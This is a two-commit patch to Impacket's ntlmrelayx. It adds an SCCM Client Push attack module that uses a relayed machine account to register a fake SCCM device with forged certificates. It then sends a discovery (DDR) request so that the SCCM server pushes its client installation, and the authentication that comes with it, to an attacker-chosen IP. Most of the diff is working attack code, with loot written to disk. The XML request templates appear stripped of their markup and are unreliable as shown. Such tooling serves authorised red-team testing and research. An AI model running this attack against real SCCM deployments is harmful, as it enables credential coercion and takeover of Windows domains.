From c6fd81aa8f2ba9e3e9d97799d7732d9c5acaa368 Mon Sep 17 00:00:00 2001 From: root Date: Fri, 24 Oct 2025 01:11:17 +0200 Subject: [PATCH 1/2] Add SCCM Client Push Installation feature --- examples/ntlmrelayx.py | 30 +- .../examples/ntlmrelayx/attacks/httpattack.py | 7 +- .../httpattacks/sccmclientpushattack.py | 300 ++++++++++++++++++ impacket/examples/ntlmrelayx/utils/config.py | 14 + 4 files changed, 347 insertions(+), 4 deletions(-) create mode 100644 impacket/examples/ntlmrelayx/attacks/httpattacks/sccmclientpushattack.py diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index f1f8ce92cc..64dff54f4c 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -217,7 +217,9 @@ def start_servers(options, threads): c.setIsSCCMDPAttack(options.sccm_dp) c.setSCCMPoliciesOptions(options.sccm_policies_clientname, options.sccm_policies_sleep) c.setSCCMDPOptions(options.sccm_dp_extensions, options.sccm_dp_files) - + c.setIsSCCMClientPushAttack(options.sccm_clientpush) + c.setSCCMClientPushOptions(options.sccm_clientpush_devicename, options.sccm_clientpush_site, options.sccm_clientpush_ip, options.sccm_clientpush_sleep) + c.setAltName(options.altname) #If the redirect option is set, configure the HTTP server to redirect targets to SMB @@ -426,11 +428,20 @@ def stop_servers(threads): sccmpoliciesoptions.add_argument('--sccm-policies-clientname', action='store', required=False, help='The name of the client that will be registered in order to dump secret policies. Defaults to the relayed account\'s name') sccmpoliciesoptions.add_argument('--sccm-policies-sleep', action='store', required=False, help='The number of seconds to sleep after the client registration before requesting secret policies') + # SCCM distributions point options sccmdpoptions = parser.add_argument_group("SCCM Distribution Point attack options") sccmdpoptions.add_argument('--sccm-dp', action='store_true', required=False, help='Enable SCCM Distribution Point attack. Perform package file dump from an SCCM Distribution Point. Expects as target \'http:///sms_dp_smspkg$/Datalib\'') sccmdpoptions.add_argument('--sccm-dp-extensions', action='store', required=False, help='A custom list of extensions to look for when downloading files from the SCCM Distribution Point. If not provided, defaults to .ps1,.bat,.xml,.txt,.pfx') sccmdpoptions.add_argument('--sccm-dp-files', action='store', required=False, help='The path to a file containing a list of specific URLs to download from the Distribution Point, instead of downloading by extensions. Providing this argument will skip file indexing') + # SCCM client push options + sccmclientpushoptions = parser.add_argument_group("SCCM Client Push attack options") + sccmclientpushoptions.add_argument('--sccm-clientpush', action='store_true', required=False, help='Enable SCCM Client Push attack. Invokes SCCM client push by registering a fake device. Only works when relaying a machine account. Expects as target \'http:///ccm_system_windowsauth/request\'') + sccmclientpushoptions.add_argument('--sccm-clientpush-devicename', action='store', required=False, help='The name of the fake client that will be registered in order to invoke automatic site-wide client push installation.') + sccmclientpushoptions.add_argument('--sccm-clientpush-site', action='store', required=False, help='The target site to include in the SCCM Client Push DDR request.') + sccmclientpushoptions.add_argument('--sccm-clientpush-ip', action='store', required=False, help='The IP address the Client Push Installation should connect to.') + sccmclientpushoptions.add_argument('--sccm-clientpush-sleep', action='store', default=3, type=int, required=False, help='The number of seconds to sleep after the client registration before sending the DDR request') + try: options = parser.parse_args() except Exception as e: @@ -453,6 +464,21 @@ def stop_servers(threads): logging.error(f"For instance: {urlparse(options.target).scheme}://{urlparse(options.target).netloc}/sms_dp_smspkg$/Datalib") sys.exit(1) + # Ensuring the correct parameters are set when performing SCCM Client Push attack + if options.sccm_clientpush is True and not options.target.rstrip('/').endswith("/ccm_system_windowsauth/request"): + logging.error("When performing SCCM Client Push attack, the Management Point authenticated device registration endpoint should be provided as target") + logging.error(f"For instance: {urlparse(options.target).scheme}://{urlparse(options.target).netloc}/ccm_system_windowsauth/request") + sys.exit(1) + elif options.sccm_clientpush_devicename == None: + logging.error(f"Error please specify a name for the device to be registered.") + sys.exit(1) + elif options.sccm_clientpush_site == None: + logging.error(f"Error please specify a valid SCCM site.") + sys.exit(1) + elif options.sccm_clientpush_ip == None: + logging.error(f"Error please specify an IP address to which Client Push Installation should be invoked to.") + sys.exit(1) + # Init the example's logger theme logger.init(options.ts, options.debug) @@ -566,4 +592,4 @@ def stop_servers(threads): for s in threads: del s - sys.exit(0) + sys.exit(0) \ No newline at end of file diff --git a/impacket/examples/ntlmrelayx/attacks/httpattack.py b/impacket/examples/ntlmrelayx/attacks/httpattack.py index 7e29a3fdc1..6480dc31d3 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattack.py @@ -21,13 +21,14 @@ from impacket.examples.ntlmrelayx.attacks.httpattacks.adcsattack import ADCSAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmpoliciesattack import SCCMPoliciesAttack from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmdpattack import SCCMDPAttack +from impacket.examples.ntlmrelayx.attacks.httpattacks.sccmclientpushattack import SCCMClientPushAttack PROTOCOL_ATTACK_CLASS = "HTTPAttack" -class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack): +class HTTPAttack(ProtocolAttack, ADCSAttack, SCCMPoliciesAttack, SCCMDPAttack, SCCMClientPushAttack): """ This is the default HTTP attack. This attack only dumps the root page, though you can add any complex attack below. self.client is an instance of urrlib.session @@ -44,6 +45,8 @@ def run(self): SCCMPoliciesAttack._run(self) elif self.config.isSCCMDPAttack: SCCMDPAttack._run(self) + elif self.config.isSCCMClientPushAttack: + SCCMClientPushAttack._run(self) else: # Default action: Dump requested page to file, named username-targetname.html # You can also request any page on the server via self.client.session, @@ -53,4 +56,4 @@ def run(self): r1 = self.client.getresponse() print(r1.status, r1.reason) data1 = r1.read() - print(data1) + print(data1) \ No newline at end of file diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmclientpushattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmclientpushattack.py new file mode 100644 index 0000000000..39212ca069 --- /dev/null +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmclientpushattack.py @@ -0,0 +1,300 @@ +# Impacket - Collection of Python classes for working with network protocols. +# +# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved. +# +# This software is provided under a slightly modified version +# of the Apache Software License. See the accompanying LICENSE file +# for more information. +# +# Description: +# SCCM relay attack to invoke client push authentication +# +# Authors: +# Jarno van den Brink (@vonzy) +# Huge thanks to MrFrey for writing the DDR requests in sccmhunter + +import os +import zlib +import xml.etree.ElementTree as ET + +from time import sleep +from datetime import datetime, timedelta +from impacket import LOG +from cryptography import x509 +from cryptography.x509.oid import NameOID +from cryptography.x509 import ObjectIdentifier +from cryptography.hazmat.primitives import serialization, hashes, padding +from cryptography.hazmat.primitives.asymmetric import rsa +from cryptography.hazmat.primitives.asymmetric.padding import PKCS1v15, OAEP, MGF1 + +# Request templates +REGISTRATION_REQUEST_TEMPLATE = """ + +{encryption}{signature} + + + + +""" +REGISTRATION_REQUEST_WRAPPER_TEMPLATE = "{data}{signature}\x00" +SCCM_HEADER_TEMPLATE = """{{00000000-0000-0000-0000-000000000000}}{{5DD100CD-DF1D-45F5-BA17-A327F43465F8}}0httpSyncdirect:{client}:SccmMessaging{date}{client}mp:MP_ClientRegistrationMP_ClientRegistration{sccmserver}60000""" +POLICY_REQUEST_HEADER_TEMPLATE = """{{00000000-0000-0000-0000-000000000000}}{client}{publickey}{clientIDsignature}{payloadsignature}NonSSL1.2.840.113549.1.1.11{{041A35B4-DCEE-4F64-A978-D4D489F47D28}}0httpSyncdirect:{client}:SccmMessaging{date}GUID:{clientid}{client}mp:MP_PolicyManagerMP_PolicyManager{sccmserver}60000""" +POLICY_REQUEST_TEMPLATE = """GUID:{clientid}{clientfqdn}{client}SMS:PRI""" +REPORT_BODY = """01GUID:{clientid}5.00.8325.0000{client}8502057Inventory DataFull{date}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date}""" + +DDR_REQUEST_HEADER_TEMPLATE = """{{00000000-0000-0000-0000-000000000000}}{client}{publickey}{clientIDsignature}{payloadsignature}NonSSL1.2.840.113549.1.1.11{{CA6A20DC-2440-44B1-A78F-E2FE792973BA}}0httpASyncdirect:{client}:SccmMessaging{date}GUID:{clientid}{client}mp:MP_DdrEndpointMP_DdrEndpoint{sccmserver}60000""" +DDR_BODY_1 ="""01GUID:{clientid}5.00.8325.0000{client}4371033Inventory DataFull{date1}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date2}""" +DDR_BODY_2 = """01GUID:{clientid}5.00.8325.0000{client}4371033Inventory DataFull{date1}1.01.1{{00000000-0000-0000-0000-000000000003}}Discovery{date2}{domain}{date3}5.00.8325.0000UnknownDefault-First-Site-Name{clientfqdn}VMware-56 4d 98 6b b1 fc ca 51-3c 19 b5 6e 8a 12 0b e2VMware Virtual Platform{clientid}NoneMicrosoft Windows NT Workstation 2010.010.6.10.0254.128.0.010.6.10.43fe80::d89c:e797:5954:7db11BC:25:11:8B:02:CF""" + +### Cryptography utility functions ### +def create_certificate(privatekey): + subject = issuer = x509.Name([ + x509.NameAttribute(NameOID.COMMON_NAME, "ConfigMgr Client"), + ]) + cert = x509.CertificateBuilder().subject_name( + subject + ).issuer_name( + issuer + ).public_key( + privatekey.public_key() + ).serial_number( + x509.random_serial_number() + ).not_valid_before( + datetime.utcnow() - timedelta(days=2) + ).not_valid_after( + datetime.utcnow() + timedelta(days=365) + ).add_extension( + x509.KeyUsage(digital_signature=True, key_encipherment=False, key_cert_sign=False, + key_agreement=False, content_commitment=False, data_encipherment=True, + crl_sign=False, encipher_only=False, decipher_only=False), + critical=False, + ).add_extension( + x509.ExtendedKeyUsage([ObjectIdentifier("1.3.6.1.4.1.311.101.2"), ObjectIdentifier("1.3.6.1.4.1.311.101")]), + critical=False, + ).sign(privatekey, hashes.SHA256()) + + return cert + +def create_private_key(): + privatekey = rsa.generate_private_key(public_exponent=65537, key_size=2048) + return privatekey + +def SCCM_sign(private_key, data): + signature = private_key.sign(data, PKCS1v15(), hashes.SHA256()) + signature_rev = bytearray(signature) + signature_rev.reverse() + return bytes(signature_rev) + + +def build_MS_public_key_blob(private_key): + blobHeader = b"\x06\x02\x00\x00\x00\xA4\x00\x00\x52\x53\x41\x31\x00\x08\x00\x00\x01\x00\x01\x00" + blob = blobHeader + private_key.public_key().public_numbers().n.to_bytes(int(private_key.key_size / 8), byteorder="little") + return blob.hex().upper() + + +### Various utility functions ### +def encode_UTF16_strip_BOM(data): + return data.encode('utf-16')[2:] + +def clean_junk_in_XML(xml_string): + root_end = xml_string.rfind('', root_end) + 1 + clean_xml_string = xml_string[:root_end] + return clean_xml_string + return xml_string + +### Client registration utility functions ### +def generate_registration_request_payload(management_point, public_key, private_key, client_name): + registrationRequest = REGISTRATION_REQUEST_TEMPLATE.format( + date=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ"), + encryption=public_key, + signature=public_key, + client=client_name, + clientfqdn=client_name + ) + + signature = SCCM_sign(private_key, encode_UTF16_strip_BOM(registrationRequest)).hex().upper() + registrationRequestWrapper = REGISTRATION_REQUEST_WRAPPER_TEMPLATE.format( + data=registrationRequest, + signature=signature + ) + registrationRequestWrapper = encode_UTF16_strip_BOM(registrationRequestWrapper) + "\r\n".encode('ascii') + + registrationRequestHeader = SCCM_HEADER_TEMPLATE.format( + bodylength=len(registrationRequestWrapper)-2, + client=client_name, + date=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ"), + sccmserver=management_point + ) + + final_body = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + final_body += registrationRequestHeader.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + final_body += zlib.compress(registrationRequestWrapper) + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') + + return final_body + +def generate_ddr_request_payload(management_point, public_key, private_key, client_name, guid, domain_name, ip): + ddrRequest1 = encode_UTF16_strip_BOM(DDR_BODY_1.format( + clientid=guid, + clientfqdn=client_name, + client=client_name, + date1=datetime.now().strftime("%Y%m%d%H%M%S.575000+120"), + date2=datetime.now().strftime("%Y%m%d%H%M%S.590000+000"), + domain=domain_name, + )) + b"\x00\x00\r\n" + ddrRequest2 = encode_UTF16_strip_BOM(DDR_BODY_2.format( + clientid=guid, + clientfqdn=ip, + client=client_name, + date1=datetime.now().strftime("%Y%m%d%H%M%S.575000+120"), + date2=datetime.now().strftime("%Y%m%d%H%M%S.590000+000"), + date3= datetime.now().strftime("%m/%d/%Y %H:%M:%S"), + domain=domain_name + )) + b"\x00\x00\r\n" + + DDRRequestCompressed = zlib.compress(ddrRequest1+ddrRequest2) + clientID = f"GUID:{guid.upper()}" + clientIDsignature = SCCM_sign(private_key, encode_UTF16_strip_BOM(clientID) + "\x00\x00".encode('ascii')).hex().upper() + DDRRequestSignature = SCCM_sign(private_key, DDRRequestCompressed).hex().upper() + + ddrRequestHeader = DDR_REQUEST_HEADER_TEMPLATE.format( + bodylength=len(ddrRequest2)-2, + bodyoffset=len(ddrRequest1), + length1=len(ddrRequest1)-4, + length2=len(ddrRequest2)-4, + offset=len(ddrRequest1), + sccmserver=management_point, + client=client_name, + publickey=public_key, + clientIDsignature=clientIDsignature, + payloadsignature=DDRRequestSignature, + clientid=guid, + date=datetime.now().strftime("%Y-%m-%dT%H:%M:%SZ") + ) + + final_body = "--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: text/plain; charset=UTF-16\r\n\r\n".encode('ascii') + final_body += ddrRequestHeader.encode('utf-16') + "\r\n--aAbBcCdDv1234567890VxXyYzZ\r\ncontent-type: application/octet-stream\r\n\r\n".encode('ascii') + final_body += DDRRequestCompressed + "\r\n--aAbBcCdDv1234567890VxXyYzZ--".encode('ascii') + + return final_body + +class SCCMClientPushAttack: + + def _run(self): + + management_point = f"{'https' if self.client.port == 443 else 'http'}://{self.client.host}" + + LOG.info("Starting SCCM Client Push attack") + loot_dir = f"{self.client.host}_{datetime.now().strftime('%Y%m%d%H%M%S')}" + + try: + os.makedirs(loot_dir, exist_ok=True) + LOG.info(f"Temporary directory is: {loot_dir}") + except Exception as err: + LOG.error(f"Error creating base output directory: {err}") + return + + os.makedirs(f"{loot_dir}/device") + LOG.info(f"Reusable Base64-encoded certificate:\n") + private_key = create_private_key() + certificate = create_certificate(private_key) + public_key = certificate.public_bytes(serialization.Encoding.DER).hex().upper() + print(public_key + "\n") + + # Writing certs to device info directory for potential future use + with open(f"{loot_dir}/device/cert.pem", 'wb') as f: + f.write(certificate.public_bytes(serialization.Encoding.PEM)) + with open(f"{loot_dir}/device/key.pem", 'wb') as f: + f.write(private_key.private_bytes(encoding=serialization.Encoding.PEM, format=serialization.PrivateFormat.TraditionalOpenSSL, encryption_algorithm=serialization.NoEncryption())) + + # Device registration + LOG.info(f"Registering SCCM client with client name '{self.config.SCCMClientPushDeviceName}'") + registration_request_payload = generate_registration_request_payload(management_point, public_key, private_key, self.config.SCCMClientPushDeviceName) + + try: + register_response = self.register_client(management_point, registration_request_payload) + if register_response == None: + LOG.error(f"Device registration failed") + return + root = ET.fromstring(register_response[:-1]) + client_guid = root.attrib["SMSID"].split("GUID:")[1] + except Exception as e: + LOG.error(f"Device registration failed: {e}") + return + + with open(f"{loot_dir}/device/guid.txt", 'w') as f: + f.write(f"{client_guid}\n") + with open(f"{loot_dir}/device/client_name.txt", 'w') as f: + f.write(f"{self.config.SCCMClientPushDeviceName}\n") + + LOG.info(f"Succesfully registered device with GUID: {client_guid}") + LOG.info(f"Waiting {self.config.SCCMClientPushSleep} seconds before sending DDR request.") + sleep(int(self.config.SCCMClientPushSleep)) + + # DDR request + LOG.info(f"Sending DDR request to invoke client push.") + LOG.info(f"Ensure to be on the same time zone as the SCCM server.") + ddr_request_payload = generate_ddr_request_payload(management_point, public_key, private_key, self.config.SCCMClientPushDeviceName, client_guid, self.config.SCCMClientPushSite, self.config.SCCMClientPushIP) + + try: + ddr_response = self.send_ddr(management_point, ddr_request_payload) + except Exception as e: + LOG.error(f"DDR request failed: {e}") + return + LOG.info("DONE - attack finished. Successfully sent DDR request") + LOG.info(f"Invoking Client Push Installation to '{self.config.SCCMClientPushIP}'") + + + + def register_client(self, management_point, registration_request_payload): + headers = { + "Connection": "close", + "User-Agent": "ConfigMgr Messaging HTTP Sender", + "Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\"" + } + + self.client.request("CCM_POST", f"{management_point}/ccm_system_windowsauth/request", registration_request_payload, headers=headers) + body = self.client.getresponse().read() + + + boundary = "aAbBcCdDv1234567890VxXyYzZ" + multipart_data = body.split(('--' + boundary).encode()) + for part in multipart_data: + if not part or part == b'--\r\n': + continue + try: + headers_part, content = part.split(b'\r\n\r\n', 1) + except: + pass + + if b'application/octet-stream' in headers_part: + decompressed_content = zlib.decompress(content).decode('utf-16') + return decompressed_content + return None + + def send_ddr(self, management_point, ddr_request_payload): + headers = { + "Connection": "close", + "User-Agent": "ConfigMgr Messaging HTTP Sender", + "Content-Type": "multipart/mixed; boundary=\"aAbBcCdDv1234567890VxXyYzZ\"" + } + + self.client.request("CCM_POST", f"{management_point}/ccm_system/request", ddr_request_payload, headers=headers) + body = self.client.getresponse().read() + + boundary = "aAbBcCdDv1234567890VxXyYzZ" + multipart_data = body.split(('--' + boundary).encode()) + for part in multipart_data: + if not part or part == b'--\r\n': + continue + try: + headers_part, content = part.split(b'\r\n\r\n', 1) + except: + pass + + if b'application/octet-stream' in headers_part: + decompressed_content = zlib.decompress(content).decode('utf-16') + return decompressed_content + + return None \ No newline at end of file diff --git a/impacket/examples/ntlmrelayx/utils/config.py b/impacket/examples/ntlmrelayx/utils/config.py index 4b8ec6b3cc..0ede665338 100644 --- a/impacket/examples/ntlmrelayx/utils/config.py +++ b/impacket/examples/ntlmrelayx/utils/config.py @@ -112,6 +112,11 @@ def __init__(self): self.isSCCMDPAttack = False self.SCCMDPExtensions = None self.SCCMDPFiles = None + self.isSCCMClientPushAttack = False + self.SCCMClientPushDeviceName = None + self.SCCMClientPushSite = None + self.SCCMClientPushIP = None + self.SCCMClientPushSleep = None def setSMBChallenge(self, value): self.SMBServerChallenge = value @@ -275,6 +280,15 @@ def setSCCMDPOptions(self, sccm_dp_extensions, sccm_dp_files): self.SCCMDPExtensions = sccm_dp_extensions self.SCCMDPFiles = sccm_dp_files + def setIsSCCMClientPushAttack(self, isSCCMClientPushAttack): + self.isSCCMClientPushAttack = isSCCMClientPushAttack + + def setSCCMClientPushOptions(self, sccm_clientpush_devicename, sccm_clientpush_site, sccm_clientpush_ip, sccm_clientpush_sleep): + self.SCCMClientPushDeviceName = sccm_clientpush_devicename + self.SCCMClientPushSite = sccm_clientpush_site + self.SCCMClientPushIP = sccm_clientpush_ip + self.SCCMClientPushSleep = sccm_clientpush_sleep + def setAltName(self, altName): self.altName = altName From 4e2a270eaa16dbecb5a6f2fc554dc8c0db03edbe Mon Sep 17 00:00:00 2001 From: root Date: Fri, 24 Oct 2025 01:15:34 +0200 Subject: [PATCH 2/2] Add SCCM Client Push Installation feature --- .../ntlmrelayx/attacks/httpattacks/sccmclientpushattack.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmclientpushattack.py b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmclientpushattack.py index 39212ca069..566fd1adab 100644 --- a/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmclientpushattack.py +++ b/impacket/examples/ntlmrelayx/attacks/httpattacks/sccmclientpushattack.py @@ -200,7 +200,7 @@ def _run(self): private_key = create_private_key() certificate = create_certificate(private_key) public_key = certificate.public_bytes(serialization.Encoding.DER).hex().upper() - print(public_key + "\n") + LOG.info(public_key + "\n") # Writing certs to device info directory for potential future use with open(f"{loot_dir}/device/cert.pem", 'wb') as f: